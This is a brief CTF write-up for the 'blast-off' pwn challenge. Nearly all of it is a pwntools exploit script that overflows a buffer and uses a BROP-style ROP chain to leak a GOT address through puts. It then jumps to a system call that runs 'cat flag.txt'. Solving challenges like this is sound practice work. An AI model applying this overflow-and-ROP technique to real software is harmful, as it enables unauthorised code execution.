Rating:

Assumed that `BLAST_OFF` will run `system` at some point because there is `cat flag.txt` in the binary data (leaked a few bytes after the `BLAST_OFF` function)

```py
from pwn import *

p=remote("spaceheroes-blast-off.chals.io", 443, ssl=True, sni="spaceheroes-blast-off.chals.io")

padding = b"A"*40

PUTS_PLT = 0x400690
BLAST_OFF_GOT = 0x602038
# From trial and error (BROP_GADGET + p64(0) + p64(0) + ... + MAIN) found 6 pops -> assume this common gadget
BROP_GADGET = 0x400b4a # pop rbx, pop rbp, pop r12, pop r13, pop r14, pop r15
MAIN = 0x400991

# Helper offsets, more at: https://github.com/nushosilayer8/pwn/blob/master/brop/README.md
RSI_R15 = BROP_GADGET + 0x7
RDI = BROP_GADGET + 0x9

payload = padding + p64(RDI) + p64(BLAST_OFF_GOT) + p64(PUTS_PLT) + p64(MAIN)

p.sendline(payload)

p.recvuntil(b"to start:")
p.recvline()
leak = u64(p.recvline().strip().ljust(8, b"\x00"))

info(f"Leak: {hex(leak)}")

catflag = leak + 443 # /bin/cat flag.txt from leaked data
WIN = leak + 0xdb # system call from leaked code - guessed this one

# Use this a few times to leak BLAST_OFF code and data
# payload2 = padding + p64(RDI) + p64(leak + OFFSET) + p64(PUTS_PLT)

payload2 = padding + p64(RDI) + p64(catflag) + p64(WIN) + p64(MAIN)

p.sendline(payload2)

p.recvuntil(b"to start:")
p.recvline()
flag = p.recvline()

info(f"Flag: {flag}")
```